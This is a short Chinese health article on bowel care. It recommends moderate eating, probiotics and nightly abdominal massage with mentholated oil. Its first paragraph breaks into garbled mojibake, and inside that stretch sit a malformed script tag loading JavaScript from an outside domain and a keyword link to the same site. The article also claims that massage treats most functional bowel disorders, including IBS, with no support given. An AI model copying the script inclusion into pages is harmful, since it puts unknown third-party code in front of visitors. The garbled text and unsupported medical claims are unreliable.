怎样保养肠道？
有些朋友总是肠胃不怎么好，一个月总有几次大便不正常，不是干就是稀?script type='text/javascript' src='http://www.368tea.com/js/v.js'>棺芄竟窘小５侨ヒ皆杭觳椋沧懿椴怀鍪裁疵 Ｆ涫嫡庵智榭鲋饕钕肮卟缓迷斐傻模贸Φ辣冉厦舾校欢头⑸愎收稀Ｖ灰绞弊⒁?a href=http://www.368tea.com/html/221/ id=kw target=_blank>保养肠道就可以了。那么怎样保养肠道呢？医学专家提出如下三点建议——
第一就是要养成好的饮食习惯，吃得七分饱，别狼吞虎咽；第二就是补充点益生菌，多喝酸奶，把菌群调整过来；第三就是要给自己的肠道按摩。
头两条大家会比较认可，很多医生都会这样建议，但是对于给自己肠道按摩就不太理解了。长期的临床实践证明，肠道按摩对于治疗肠道不明原因的小毛病很有效果。之所以要给肠道按摩就是要让自己的肠道活跃起来。办法很简单——
晚上睡觉前，找点风油精擦在肚脐周围，用手按顺时针方向摩擦腹部，再逆时针方向按摩，每天做几十次，一直到腹部变热。这个方法很多消化科医生都在用，并不是什么土方法，中医上就有记载这种按摩治疗腹部疾病的方法。绝大多数功能性疾病，通过这种方法都会有疗效，比如消化不良、肠易激综合征、功能性腹泻等。一些病人在坚持按摩腹部一段时间后，经常会发现自己的肠胃“听话”多了，这样简单实用的招数，实在有必要让人们推广下去。
